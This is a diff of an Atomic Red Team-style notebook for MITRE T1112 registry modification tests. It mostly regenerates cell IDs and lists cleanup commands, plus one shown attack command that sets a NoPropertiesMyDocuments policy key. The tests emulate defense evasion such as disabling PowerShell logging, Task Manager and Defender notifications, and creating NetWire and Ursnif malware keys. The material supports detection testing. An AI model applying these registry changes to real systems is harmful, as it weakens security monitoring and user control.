"source": "Invoke-AtomicTest T1112 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "807db38e", + "id": "76028a1f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKCU:\\Software\\Policies\\Microsoft\\Windows\\System\" -Name DisableCMD -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ebdb366", + "id": "cba98a25", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "082cc17f", + "id": "c911ab76", "metadata": {}, "source": [ "### Atomic Test #11 - Disable Windows Task Manager application", @@ -374,28 +374,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f36b8f52", + "id": "2880ab05", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "83585ab4", + "id": "1b5f5338", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableTaskmgr /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0a7d1c6c", + "id": "4f78d942", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "80928fcc", + "id": "a7045266", "metadata": {}, "source": [ "### Atomic Test #12 - Disable Windows Notification Center", @@ -409,28 +409,28 @@ { "cell_type": "code", "execution_count": null, - "id": "eb5496e8", + "id": "acb6bb08", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "762effdc", + "id": "3736f1ae", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Explorer /v DisableNotificationCenter /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c2471a26", + "id": "6b69db6c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "f3cda764", + "id": "7610a4e3", "metadata": {}, "source": [ "### Atomic Test #13 - Disable Windows Shutdown Button", @@ -444,28 +444,28 @@ { "cell_type": "code", "execution_count": null, - "id": "31e0d48d", + "id": "dbb4ee36", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "eafd3299", + "id": "bb857cd1", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v shutdownwithoutlogon /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3801ce2f", + "id": "a60661ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "63400324", + "id": "97cc66ae", "metadata": {}, "source": [ "### Atomic Test #14 - Disable Windows LogOff Button", @@ -479,28 +479,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f480ce81", + "id": "91c468f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "466ac5cd", + "id": "233622c5", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoLogOff /f >nul 2>&1\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v StartMenuLogOff /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "28cabb19", + "id": "2bf426f3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "d07b1e80", + "id": "834b2860", "metadata": {}, "source": [ "### Atomic Test #15 - Disable Windows Change Password Feature", @@ -514,28 +514,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5ace1b70", + "id": "74cd6708", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "227e04a2", + "id": "f3c84756", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableChangePassword /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9ac588a0", + "id": "616369ef", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "c8632577", + "id": "05341438", "metadata": {}, "source": [ "### Atomic Test #16 - Disable Windows Lock Workstation Feature", @@ -549,28 +549,28 @@ { "cell_type": "code", "execution_count": null, - "id": "95d234d9", + "id": "b0e80caa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "30c101ef", + "id": "1ff8c777", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7804dee3", + "id": "f9ec1b4a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "115b4523", + "id": "287bff14", "metadata": {}, "source": [ "### Atomic Test #17 - Activate Windows NoDesktop Group Policy Feature", @@ -584,28 +584,28 @@ { "cell_type": "code", "execution_count": null, - "id": "fb756489", + "id": "e0c56ae5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "0752b081", + "id": "b5995ccc", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoDesktop /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f76a4bf7", + "id": "62d1b3e6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 17 -Cleanup" }, { "cell_type": "markdown", - "id": "22e89812", + "id": "a932f503", "metadata": {}, "source": [ "### Atomic Test #18 - Activate Windows NoRun Group Policy Feature", @@ -619,28 +619,28 @@ { "cell_type": "code", "execution_count": null, - "id": "23007fe0", + "id": "0733d24a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 18" }, { "cell_type": "markdown", - "id": "6fb7f539", + "id": "0b7756e3", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoRun /f \n```" }, { "cell_type": "code", "execution_count": null, - "id": "470be543", + "id": "8c197e05", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 18 -Cleanup" }, { "cell_type": "markdown", - "id": "eb8734b3", + "id": "4d3cd17c", "metadata": {}, "source": [ "### Atomic Test #19 - Activate Windows NoFind Group Policy Feature", @@ -654,28 +654,28 @@ { "cell_type": "code", "execution_count": null, - "id": "95920932", + "id": "08e98f93", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 19" }, { "cell_type": "markdown", - "id": "311d2997", + "id": "6589652a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoFind /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15fa732e", + "id": "8f0f7b42", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 19 -Cleanup" }, { "cell_type": "markdown", - "id": "ec34c55a", + "id": "42003065", "metadata": {}, "source": [ "### Atomic Test #20 - Activate Windows NoControlPanel Group Policy Feature", @@ -689,28 +689,28 @@ { "cell_type": "code", "execution_count": null, - "id": "89c3b884", + "id": "df930c88", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 20" }, { "cell_type": "markdown", - "id": "fe2b4d38", + "id": "1ac848b0", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoControlPanel /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ceb0dfd6", + "id": "53b3accc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 20 -Cleanup" }, { "cell_type": "markdown", - "id": "cf0e22e1", + "id": "57519ab5", "metadata": {}, "source": [ "### Atomic Test #21 - Activate Windows NoFileMenu Group Policy Feature", @@ -724,28 +724,28 @@ { "cell_type": "code", "execution_count": null, - "id": "436478e8", + "id": "c1dfc227", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 21" }, { "cell_type": "markdown", - "id": "ca3dc8df", + "id": "c38ce44a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoFileMenu /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15f4e738", + "id": "f443856b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 21 -Cleanup" }, { "cell_type": "markdown", - "id": "3552ac17", + "id": "cfbc1ca8", "metadata": {}, "source": [ "### Atomic Test #22 - Activate Windows NoClose Group Policy Feature", @@ -759,28 +759,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bcd66fc9", + "id": "fca0c6cf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 22" }, { "cell_type": "markdown", - "id": "164d0dc8", + "id": "d6afc88f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoClose /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4cea53f8", + "id": "b83ded76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 22 -Cleanup" }, { "cell_type": "markdown", - "id": "c6e3ffa5", + "id": "3ae25d45", "metadata": {}, "source": [ "### Atomic Test #23 - Activate Windows NoSetTaskbar Group Policy Feature", @@ -794,28 +794,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2bf6d655", + "id": "6fa70df5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 23" }, { "cell_type": "markdown", - "id": "7c3f510d", + "id": "f3a0f4e0", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoSetTaskbar /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "44b0a119", + "id": "2eab752f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 23 -Cleanup" }, { "cell_type": "markdown", - "id": "ce68d6b2", + "id": "ac4fe4f9", "metadata": {}, "source": [ "### Atomic Test #24 - Activate Windows NoTrayContextMenu Group Policy Feature", @@ -829,28 +829,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4f94602f", + "id": "aace857a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 24" }, { "cell_type": "markdown", - "id": "a6516322", + "id": "44a327ca", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoTrayContextMenu /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "343587b1", + "id": "aca7caca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 24 -Cleanup" }, { "cell_type": "markdown", - "id": "52f8d103", + "id": "60f8f275", "metadata": {}, "source": [ "### Atomic Test #25 - Activate Windows NoPropertiesMyDocuments Group Policy Feature", @@ -858,34 +858,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 \n```" + "```command_prompt\nreg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0194ba0b", + "id": "e826924f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 25" }, { "cell_type": "markdown", - "id": "e262cb42", + "id": "803a474e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoPropertiesMyDocuments /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ba03b87", + "id": "7dce565d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 25 -Cleanup" }, { "cell_type": "markdown", - "id": "ea244753", + "id": "8a0b4fb0", "metadata": {}, "source": [ "### Atomic Test #26 - Hide Windows Clock Group Policy Feature", @@ -899,28 +899,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d7a3dd75", + "id": "dcd31ab7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 26" }, { "cell_type": "markdown", - "id": "165c8b9d", + "id": "1d6d2bae", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideClock /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c1aeebda", + "id": "b45d5529", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 26 -Cleanup" }, { "cell_type": "markdown", - "id": "c8c8fe1c", + "id": "0e2ec21d", "metadata": {}, "source": [ "### Atomic Test #27 - Windows HideSCAHealth Group Policy Feature", @@ -934,28 +934,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e752b6c1", + "id": "e92e7e2f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 27" }, { "cell_type": "markdown", - "id": "0948fa7c", + "id": "d5acd83f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAHealth /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "59346fc5", + "id": "55af05a6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 27 -Cleanup" }, { "cell_type": "markdown", - "id": "1a07bf42", + "id": "0228d24c", "metadata": {}, "source": [ "### Atomic Test #28 - Windows HideSCANetwork Group Policy Feature", @@ -969,28 +969,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b2c5918f", + "id": "53ed79ac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 28" }, { "cell_type": "markdown", - "id": "4d6d57de", + "id": "406effe6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCANetwork /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3c19806b", + "id": "6cc59f89", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 28 -Cleanup" }, { "cell_type": "markdown", - "id": "e8a33e11", + "id": "c8c299cc", "metadata": {}, "source": [ "### Atomic Test #29 - Windows HideSCAPower Group Policy Feature", @@ -1004,28 +1004,28 @@ { "cell_type": "code", "execution_count": null, - "id": "69fc1d5f", + "id": "8b58d0e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 29" }, { "cell_type": "markdown", - "id": "5128be1d", + "id": "aae1787c", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAPower /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "13e80d7d", + "id": "d7a5c80a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 29 -Cleanup" }, { "cell_type": "markdown", - "id": "18276b96", + "id": "242152c3", "metadata": {}, "source": [ "### Atomic Test #30 - Windows HideSCAVolume Group Policy Feature", @@ -1039,28 +1039,28 @@ { "cell_type": "code", "execution_count": null, - "id": "93415cdc", + "id": "da0a9313", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 30" }, { "cell_type": "markdown", - "id": "35ad87bc", + "id": "9392c4a0", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAVolume /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "98ff0200", + "id": "efdf7efe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 30 -Cleanup" }, { "cell_type": "markdown", - "id": "79d2750a", + "id": "dfadc7d5", "metadata": {}, "source": [ "### Atomic Test #31 - Windows Modify Show Compress Color And Info Tip Registry", @@ -1073,28 +1073,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7d77f913", + "id": "61920af8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 31" }, { "cell_type": "markdown", - "id": "001237d3", + "id": "2de63791", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowInfoTip /f >nul 2>&1\nreg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowCompColor /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e73a8117", + "id": "d8baf478", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 31 -Cleanup" }, { "cell_type": "markdown", - "id": "2808117b", + "id": "b85db7c0", "metadata": {}, "source": [ "### Atomic Test #32 - Windows Powershell Logging Disabled", @@ -1108,28 +1108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3fc4f225", + "id": "1b7cb301", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 32" }, { "cell_type": "markdown", - "id": "850729c7", + "id": "9ea2ce20", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /f >nul 2>&1\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /f >nul 2>&1\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5832491e", + "id": "f88f3bb9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 32 -Cleanup" }, { "cell_type": "markdown", - "id": "a9329f7a", + "id": "4aee9b71", "metadata": {}, "source": [ "### Atomic Test #33 - Windows Add Registry Value to Load Service in Safe Mode without Network", @@ -1143,28 +1143,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d60382c8", + "id": "8cfd13f1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 33" }, { "cell_type": "markdown", - "id": "c3e223d6", + "id": "0a8914ef", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4105d86b", + "id": "38fcb8e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 33 -Cleanup" }, { "cell_type": "markdown", - "id": "616c6f9b", + "id": "77adf6d9", "metadata": {}, "source": [ "### Atomic Test #34 - Windows Add Registry Value to Load Service in Safe Mode with Network", @@ -1178,28 +1178,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a3163685", + "id": "a9035be4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 34" }, { "cell_type": "markdown", - "id": "df4df1f5", + "id": "b47fe589", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network\\AtomicSafeMode\" /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4c73d35b", + "id": "5612abc5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 34 -Cleanup" }, { "cell_type": "markdown", - "id": "6691234d", + "id": "cfe25d18", "metadata": {}, "source": [ "### Atomic Test #35 - Disable Windows Toast Notifications", @@ -1213,28 +1213,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a7d13aa1", + "id": "0105a154", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 35" }, { "cell_type": "markdown", - "id": "34e3ed79", + "id": "6afa9483", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications /v ToastEnabled /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5ea94bf5", + "id": "075cef7e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 35 -Cleanup" }, { "cell_type": "markdown", - "id": "eb6f37f4", + "id": "68678762", "metadata": {}, "source": [ "### Atomic Test #36 - Disable Windows Security Center Notifications", @@ -1248,28 +1248,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4b36890d", + "id": "50e9487c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 36" }, { "cell_type": "markdown", - "id": "df19a994", + "id": "56f420e6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\ImmersiveShell /v UseActionCenterExperience /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1afeb613", + "id": "05787591", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 36 -Cleanup" }, { "cell_type": "markdown", - "id": "adfb075c", + "id": "dbcf61cc", "metadata": {}, "source": [ "### Atomic Test #37 - Suppress Win Defender Notifications", @@ -1283,28 +1283,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cd78f612", + "id": "70562bf8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 37" }, { "cell_type": "markdown", - "id": "07fcc59b", + "id": "1fbf32f6", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v Notification_Suppress /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3cb41b4e", + "id": "957b003b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 37 -Cleanup" }, { "cell_type": "markdown", - "id": "cab94cab", + "id": "655e2de8", "metadata": {}, "source": [ "### Atomic Test #38 - Allow RDP Remote Assistance Feature", @@ -1318,28 +1318,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6496c51d", + "id": "0a7114af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 38" }, { "cell_type": "markdown", - "id": "61cbb231", + "id": "655cb689", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fAllowToGetHelp /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e15b6cee", + "id": "d7327554", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 38 -Cleanup" }, { "cell_type": "markdown", - "id": "a2b8fd94", + "id": "984cc703", "metadata": {}, "source": [ "### Atomic Test #39 - NetWire RAT Registry Key Creation", @@ -1352,28 +1352,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ccc25092", + "id": "bd24f9a4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 39" }, { "cell_type": "markdown", - "id": "43b35556", + "id": "04d2af7f", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v NetWire /f >nul 2>&1\nreg delete HKCU\\SOFTWARE\\NetWire /va /f >nul 2>&1\nreg delete HKCU\\SOFTWARE\\NetWire /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2474fa57", + "id": "d5270ff9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 39 -Cleanup" }, { "cell_type": "markdown", - "id": "00b98c1e", + "id": "b2eec550", "metadata": {}, "source": [ "### Atomic Test #40 - Ursnif Malware Registry Key Creation", @@ -1386,42 +1386,42 @@ { "cell_type": "code", "execution_count": null, - "id": "7294ff4f", + "id": "f0002128", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 40" }, { "cell_type": "markdown", - "id": "697d3965", + "id": "996161e9", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /va /f >nul 2>&1\nreg delete HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0a2c531b", + "id": "342f1ddd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 40 -Cleanup" }, { "cell_type": "markdown", - "id": "b6380151", + "id": "9cea3a27", "metadata": {}, "source": "### Atomic Test #41 - Terminal Server Client Connection History Cleared\nThe built-in Windows Remote Desktop Connection (RDP) client (mstsc.exe) saves the remote computer name (or IP address) and the username that is used to login after each successful connection to the remote computer\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Must have the \"MR9\" Remote Desktop Connection history Key \n\n##### Check Prereq Commands:\n```cmd\nif ((Get-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Terminal Server Client\\Default\\\").MR9) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -path \"HKCU:\\SOFTWARE\\Microsoft\\\" -name \"Terminal Server Client\" -ErrorAction Ignore\nNew-Item -path \"HKCU:\\SOFTWARE\\Microsoft\\Terminal Server Client\\\" -name \"Default\" -ErrorAction Ignore\nNew-Itemproperty -path \"HKCU:\\SOFTWARE\\Microsoft\\Terminal Server Client\\Default\" -name \"MR9\" -value \"127.0.0.1\" -PropertyType \"String\" -ErrorAction Ignore\nNew-Item -path \"HKCU:\\SOFTWARE\\Microsoft\\Terminal Server Client\\\" -name \"Servers\" -ErrorAction Ignore\nNew-Item -path \"HKCU:\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers\" -name \"Redcanary\" -ErrorAction Ignore\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1f7ce12", + "id": "d9e33571", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 41 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d2fa2a8", + "id": "a4c3b3de", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -1431,14 +1431,14 @@ { "cell_type": "code", "execution_count": null, - "id": "48e8fabb", + "id": "b611f604", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 41" }, { "cell_type": "markdown", - "id": "cebc727e", + "id": "63521314", "metadata": {}, "source": [ "### Atomic Test #42 - Disable Windows Error Reporting Settings", @@ -1452,28 +1452,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2a5462f4", + "id": "7ba3e65d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 42" }, { "cell_type": "markdown", - "id": "2dbf93af", + "id": "68236d2e", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKLM64\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /f >nul 2>&1\nreg delete HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ff42e530", + "id": "c22b9a07", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1112 -TestNumbers 42 -Cleanup" }, { "cell_type": "markdown", - "id": "11004952", + "id": "1026007a", "metadata": {}, "source": [ "### Atomic Test #43 - DisallowRun Execution Of Certain Applications", @@ 